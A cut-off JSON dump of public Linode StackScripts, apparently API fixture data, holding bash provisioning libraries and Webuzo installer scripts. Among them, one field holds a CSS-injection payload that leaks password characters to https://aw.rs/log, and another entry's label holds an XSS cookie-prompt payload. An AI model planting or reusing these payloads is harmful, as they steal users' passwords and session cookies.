--log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\tservice iptables save\n\tservice ip6tables save\n\tsystemctl enable iptables && systemctl enable ip6tables\n\tsystemctl start iptables && systemctl start ip6tables\n}\n\n# Crons\n#######\n\nfunction ubuntu1604_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction debian8_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction centos7_update_cron {\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo \"00 1 * * * yum update -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\n\n#########################\n# Deprecated Ubuntu 12.04\n#########################\n\nfunction system_update {\n apt-get update\n apt-get -y install aptitude\n aptitude -y full-upgrade\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction system_set_hostname {\n # $1 - The hostname to define\n HOSTNAME=\"$1\"\n \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n echo \"$HOSTNAME\" > /etc/hostname\n hostname -F /etc/hostname\n}\n\nfunction system_add_host_entry {\n # $1 - The IP address to set a hosts entry for\n # $2 - The FQDN to set to the IP\n IPADDR=\"$1\"\n FQDN=\"$2\"\n\n if [ -z \"$IPADDR\" -o -z \"$FQDN\" ]; then\n echo \"IP address and/or FQDN Undefined\"\n return 1;\n fi\n \n echo $IPADDR $FQDN >> /etc/hosts\n}\n\n\n###########################################################\n# Users and Authentication\n###########################################################\n\nfunction user_add_sudo {\n # Installs sudo if needed and creates a user in the sudo group.\n #\n # $1 - Required - username\n # $2 - Required - password\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n aptitude -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction user_add_pubkey {\n # Adds the users public key to authorized_keys for the specified user. Make sure you wrap your input variables in double quotes, or the key may not load properly.\n #\n #\n # $1 - Required - username\n # $2 - Required - public key\n USERNAME=\"$1\"\n USERPUBKEY=\"$2\"\n \n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPUBKEY\" ]; then\n echo \"Must provide a username and the location of a pubkey\"\n return 1;\n fi\n \n if [ \"$USERNAME\" == \"root\" ]; then\n mkdir /root/.ssh\n echo \"$USERPUBKEY\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n \n mkdir -p /home/$USERNAME/.ssh\n echo \"$USERPUBKEY\" >> /home/$USERNAME/.ssh/authorized_keys\n chown -R \"$USERNAME\":\"$USERNAME\" /home/$USERNAME/.ssh\n}\n\nfunction ssh_disable_root {\n # Disables root SSH access.\n sed -i ''s/PermitRootLogin yes/PermitRootLogin no/'' /etc/ssh/sshd_config\n touch /tmp/restart-ssh\n \n}\n\n###########################################################\n# Postfix\n###########################################################\n\nfunction postfix_install_loopback_only {\n # Installs postfix and configure to listen only on the local interface. Also\n # allows for local mail delivery\n\n echo \"postfix postfix/main_mailer_type select Internet Site\" | debconf-set-selections\n echo \"postfix postfix/mailname string localhost\" | debconf-set-selections\n echo \"postfix postfix/destinations string localhost.localdomain, localhost\" | debconf-set-selections\n aptitude -y install postfix\n /usr/sbin/postconf -e \"inet_interfaces = loopback-only\"\n #/usr/sbin/postconf -e \"local_transport = error:local delivery is disabled\"\n\n touch /tmp/restart-postfix\n}\n\n\n###########################################################\n# Apache\n###########################################################\n\nfunction apache_install {\n # installs the system default apache2 MPM\n aptitude -y install apache2\n\n a2dissite default # disable the interfering default virtualhost\n\n # clean up, or add the NameVirtualHost line to ports.conf\n sed -i -e ''s/^NameVirtualHost \\*$/NameVirtualHost *:80/'' /etc/apache2/ports.conf\n if ! grep -q NameVirtualHost /etc/apache2/ports.conf; then\n echo ''NameVirtualHost *:80'' > /etc/apache2/ports.conf.tmp\n cat /etc/apache2/ports.conf >> /etc/apache2/ports.conf.tmp\n mv -f /etc/apache2/ports.conf.tmp /etc/apache2/ports.conf\n fi\n}\n\nfunction apache_tune {\n # Tunes Apache''s memory to use the percentage of RAM you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards Apache\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n aptitude -y install apache2-mpm-prefork\n PERPROCMEM=10 # the amount of memory in MB each apache process is likely to utilize\n MEM=$(grep MemTotal /proc/meminfo | awk ''{ print int($2/1024) }'') # how much memory in MB this system has\n MAXCLIENTS=$((MEM*PERCENT/100/PERPROCMEM)) # calculate MaxClients\n MAXCLIENTS=${MAXCLIENTS/.*} # cast to an integer\n sed -i -e \"s/\\(^[ \\t]*MaxClients[ \\t]*\\)[0-9]*/\\1$MAXCLIENTS/\" /etc/apache2/apache2.conf\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost {\n # Configures a VirtualHost\n\n # $1 - required - the hostname of the virtualhost to create \n\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e \"/etc/apache2/sites-available/$1\" ]; then\n echo /etc/apache2/sites-available/$1 already exists\n return;\n fi\n\n mkdir -p /srv/www/$1/public_html /srv/www/$1/logs\n\n echo \"\" > /etc/apache2/sites-available/$1\n echo \" ServerName $1\" >> /etc/apache2/sites-available/$1\n echo \" DocumentRoot /srv/www/$1/public_html/\" >> /etc/apache2/sites-available/$1\n echo \" ErrorLog /srv/www/$1/logs/error.log\" >> /etc/apache2/sites-available/$1\n echo \" CustomLog /srv/www/$1/logs/access.log combined\" >> /etc/apache2/sites-available/$1\n echo \"\" >> /etc/apache2/sites-available/$1\n\n a2ensite $1\n\n touch /tmp/restart-apache2\n}\n\nfunction apache_virtualhost_from_rdns {\n # Configures a VirtualHost using the rdns of the first IP as the ServerName\n\n apache_virtualhost $(get_rdns_primary_ip)\n}\n\n\nfunction apache_virtualhost_get_docroot {\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires the hostname as the first argument\"\n return 1;\n fi\n\n if [ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/ {print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n###########################################################\n# mysql-server\n###########################################################\n\nfunction mysql_install {\n # $1 - the mysql root password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_install() requires the root pass as its first argument\"\n return 1;\n fi\n\n echo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n echo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n apt-get -y install mysql-server mysql-client\n\n echo \"Sleeping while MySQL starts up for the first time...\"\n sleep 5\n}\n\nfunction mysql_tune {\n # Tunes MySQL''s memory usage to utilize the percentage of memory you specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate towards MySQL\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n sed -i -e ''s/^#skip-innodb/skip-innodb/'' /etc/mysql/my.cnf # disable innodb - saves about 100M\n\n MEM=$(awk ''/MemTotal/ {print int($2/1024)}'' /proc/meminfo) # how much memory in MB this system has\n MYMEM=$((MEM*PERCENT/100)) # how much memory we''d like to tune mysql with\n MYMEMCHUNKS=$((MYMEM/4)) # how many 4MB chunks we have to play with\n\n # mysql config options we want to set to the percentages in the second list, respectively\n OPTLIST=(key_buffer sort_buffer_size read_buffer_size read_rnd_buffer_size myisam_sort_buffer_size query_cache_size)\n DISTLIST=(75 1 1 1 5 15)\n\n for opt in ${OPTLIST[@]}; do\n sed -i -e \"/\\[mysqld\\]/,/\\[.*\\]/s/^$opt/#$opt/\" /etc/mysql/my.cnf\n done\n\n for i in ${!OPTLIST[*]}; do\n val=$(echo | awk \"{print int((${DISTLIST[$i]} * $MYMEMCHUNKS/100))*4}\")\n if [ $val -lt 4 ]\n then val=4\n fi\n config=\"${config}\\n${OPTLIST[$i]} = ${val}M\"\n done\n\n sed -i -e \"s/\\(\\[mysqld\\]\\)/\\1\\n$config\\n/\" /etc/mysql/my.cnf\n\n touch /tmp/restart-mysql\n}\n\nfunction mysql_create_database {\n # $1 - the mysql root password\n # $2 - the db name to create\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_database() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_database() requires the name of the database as the second argument\"\n return 1;\n fi\n\n echo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n # $1 - the mysql root password\n # $2 - the user to create\n # $3 - their password\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a password as the third argument\"\n return 1;\n fi\n\n echo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\" | mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n # $1 - the mysql root password\n # $2 - the user to bestow privileges \n # $3 - the database\n\n if [ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\" ]; then\n echo \"mysql_create_user() requires username as the second argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo \"mysql_create_user() requires a database as the third argument\"\n return 1;\n fi\n\n echo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\" | mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n\n}\n\n###########################################################\n# PHP functions\n###########################################################\n\nfunction php_install_with_apache {\n aptitude -y install php5 php5-mysql libapache2-mod-php5\n touch /tmp/restart-apache2\n}\n\nfunction php_tune {\n # Tunes PHP to utilize up to 32M per process\n\n sed -i''-orig'' ''s/memory_limit = [0-9]\\+M/memory_limit = 32M/'' /etc/php5/apache2/php.ini\n touch /tmp/restart-apache2\n}\n\n###########################################################\n# Wordpress functions\n###########################################################\n\nfunction wordpress_install {\n # installs the latest wordpress tarball from wordpress.org\n\n # $1 - required - The existing virtualhost to install into\n\n if [ ! -n \"$1\" ]; then\n echo \"wordpress_install() requires the vitualhost as its first argument\"\n return 1;\n fi\n\n if [ ! -e /usr/bin/wget ]; then\n aptitude -y install wget\n fi\n\n VPATH=$(apache_virtualhost_get_docroot $1)\n\n if [ ! -n \"$VPATH\" ]; then\n echo \"Could not determine DocumentRoot for $1\"\n return 1;\n fi\n\n # download, extract, chown, and get our config file started\n cd $VPATH\n wget http://wordpress.org/latest.tar.gz\n tar xfz latest.tar.gz\n chown -R www-data: wordpress/\n cd $VPATH/wordpress\n cp wp-config-sample.php wp-config.php\n chown www-data wp-config.php\n chmod 640 wp-config.php\n\n # database configuration\n WPPASS=$(randomString 20)\n mysql_create_database \"$DB_PASSWORD\" wordpress\n mysql_create_user \"$DB_PASSWORD\" wordpress \"$WPPASS\"\n mysql_grant_user \"$DB_PASSWORD\" wordpress wordpress\n\n # configuration file updates\n for i in {1..4}\n do sed -i \"0,/put your unique phrase here/s/put your unique phrase here/$(randomString 50)/\" wp-config.php\n done\n\n sed -i ''s/database_name_here/wordpress/'' wp-config.php\n sed -i ''s/username_here/wordpress/'' wp-config.php\n sed -i \"s/password_here/$WPPASS/\" wp-config.php\n\n # http://downloads.wordpress.org/plugin/wp-super-cache.0.9.8.zip\n}\n\n###########################################################\n# Other niceties!\n###########################################################\n\nfunction goodstuff {\n # Installs the REAL vim, wget, less, and enables color root prompt and the \"ll\" list long alias\n\n aptitude -y install wget vim less\n sed -i -e ''s/^#PS1=/PS1=/'' /root/.bashrc # enable the colorful root bash prompt\n sed -i -e \"s/^#alias ll=''ls -l''/alias ll=''ls -al''/\" /root/.bashrc # enable ll list long alias <3\n}\n\n\n###########################################################\n# utility functions\n###########################################################\n\nfunction restartServices {\n # restarts services that have a file in /tmp/needs-restart/\n\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n /etc/init.d/$service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString {\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo $(\n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username": "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n#\n#\n#\n\nsource \n\nsystem_update\npostfix_install_loopback_only\nmysql_install \"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\" \"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install && apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices", "user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"}, {"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally create this database"}, {"name": "db_user", "label": "Create MySQL User", "default": "", "example": "Optionally create this user"}, {"name": "db_user_password", "label": "MySQL User''s Password", "default": "", "example": "User''s password"}]}, {"id": 9222, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "CS-Cart powered by Webuzo", "description": "CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small web store to a virtual shopping mall. A ready storefront, support for many payment and shipping options, full inventory control, unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\r\n\r\nCS-Cart shopping cart software offers a search engine friendly environment that involves the tableless layout, customizable META tags, friendly URLs and Google sitemap. This all contributes well to the proper indexing of your web store and generally improves its ranking among the popular search engines like Google, Yahoo! Search and Bing.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure CS-Cart and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "CS-Cart powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install CS-Cart and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About CS-Cart :\n# CS-Cart is the best shopping cart solution for building an ecommerce website of any size: from a small \n# web store to a virtual shopping mall. \n# A ready storefront, support for many payment and shipping options, full inventory control, \n# unlimited products, promotional tools, and other ecommerce software features out-of-the-box.\n###########################################################################################################\n\n# Install CS-Cart Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=479&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling CS-Cart and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, CS-Cart has been successfully installed\"\necho \" \"\necho \"You can now configure CS-Cart and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 606726, "username": "zek1", "user_gravatar_id": "db3274167e091d0a1fdd8e206c5bf786", "label": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie", "description": "zek''%3E%3Cstrong%3Exss%3Ch1%09onmouseover=prompt(document.cookie)%3Exss", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.0"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id": 9223, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Chive powered by Webuzo", "description": "Chive is a modern Open-Source MySQL Data Management tool. With it''s fast and elaborate user interface it is getting very popular especially by web engineers. Chive was created because of an disaffection with existing tools. They usually were hard to handle and very time-consuming while the daily use of an web engineer.\r\n\r\nChive is a free, open source, web-based database management tool, designed to bring joy to web developers - with easy administration, super fast UI and state of the art web technologies. Based on top of the current version of the Yii framework, Chive takes advantage of the MVC design pattern and unit testing. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Chive and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Chive powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Chive and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Chive :\n# Chive is a modern Open-Source MySQL Data Management tool.\n# With it''s fast and elaborate user interface it is getting very popular especially by web engineers.\n# Chive was created because of an disaffection with existing tools.\n# They usually were hard to handle and very time-consuming while the daily use of an web engineer.\n###########################################################################################################\n\n# Install Chive Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=398&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Chive and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Chive has been successfully installed\"\necho \" \"\necho \"You can now configure Chive and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978951, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "meenu", "description": "description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\r\n\r\nfdgrthtyjuy7i", "user_defined_fields": []}, {"id": 9224, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Commentics powered by Webuzo", "description": "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Commentics and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Commentics powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Commentics and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Commentics :\n# Commentics is a free, advanced PHP comment script with many features.\n# Professionally written and with open source code, its main aims are to be integrable, customizable and secure. \n###########################################################################################################\n\n# Install Commentics Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=446&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Commentics and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Commentics has been successfully installed\"\necho \" \"\necho \"You can now configure Commentics and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 10248, "username": "regna", "user_gravatar_id": "3bd1beb6402a8ba4bb1606f0ad2cf639", "label": "functions.sh", "description": "functions.sh from sys-apps/openrc, exports and contains various helpful functions.", "ordinal": 0, "logo_url": "", "images": ["linode/gentoo"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "openrc-0.12.4", "script": "#!/bin/bash\n# Copyright (c) 2007-2009 Roy Marples \n# Released under the 2-clause BSD license.\n\n# Allow any sh script to work with einfo functions and friends\n# We also provide a few helpful functions for other programs to use\n\nRC_GOT_FUNCTIONS=\"yes\"\n\neindent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} + 2 ))\n [ \"$EINFO_INDENT\" -gt 40 ] && EINFO_INDENT=40\n export EINFO_INDENT\n}\n\neoutdent()\n{\n : $(( EINFO_INDENT = ${EINFO_INDENT:-0} - 2 ))\n [ \"$EINFO_INDENT\" -lt 0 ] && EINFO_INDENT=0\n return 0\n}\n\nyesno()\n{\n [ -z \"$1\" ] && return 1\n\n case \"$1\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n esac\n\n local value=\n eval value=\\$${1}\n case \"$value\" in\n [Yy][Ee][Ss]|[Tt][Rr][Uu][Ee]|[Oo][Nn]|1) return 0;;\n [Nn][Oo]|[Ff][Aa][Ll][Ss][Ee]|[Oo][Ff][Ff]|0) return 1;;\n *) vewarn \"\\$$1 is not set properly\"; return 1;;\n esac\n}\n\nrc_runlevel()\n{\n rc-status --runlevel\n}\n\n_sanitize_path()\n{\n local IFS=\":\" p= path=\n for p in $PATH; do\n case \"$p\" in\n /lib64/rc/bin|/lib64/rc/sbin);;\n /bin|/sbin|/usr/bin|/usr/sbin);;\n /usr/bin|/usr/sbin);;\n /usr/local/bin|/usr/local/sbin);;\n *) path=\"$path${path:+:}$p\";;\n esac\n done\n echo \"$path\"\n}\n\n# Allow our scripts to support zsh\nif [ -n \"$ZSH_VERSION\" ]; then\n emulate sh\n NULLCMD=:\n alias -g ''${1+\"$@\"}''=''\"$@\"''\n setopt NO_GLOB_SUBST\nfi\n\n# Make a sane PATH\n_PREFIX=\n_PKG_PREFIX=/usr\n_LOCAL_PREFIX=/usr/local\n_LOCAL_PREFIX=${_LOCAL_PREFIX:-/usr/local}\n_PATH=/lib64/rc/bin\ncase \"$_PREFIX\" in\n \"$_PKG_PREFIX\"|\"$_LOCAL_PREFIX\") ;;\n *) _PATH=\"$_PATH:$_PREFIX/bin:$_PREFIX/sbin\";;\nesac\n_PATH=\"$_PATH\":/bin:/sbin:/usr/bin:/usr/sbin\n\nif [ -n \"$_PKG_PREFIX\" ]; then\n _PATH=\"$_PATH:$_PKG_PREFIX/bin:$_PKG_PREFIX/sbin\"\nfi\nif [ -n \"$_LOCAL_PREFIX\" ]; then\n 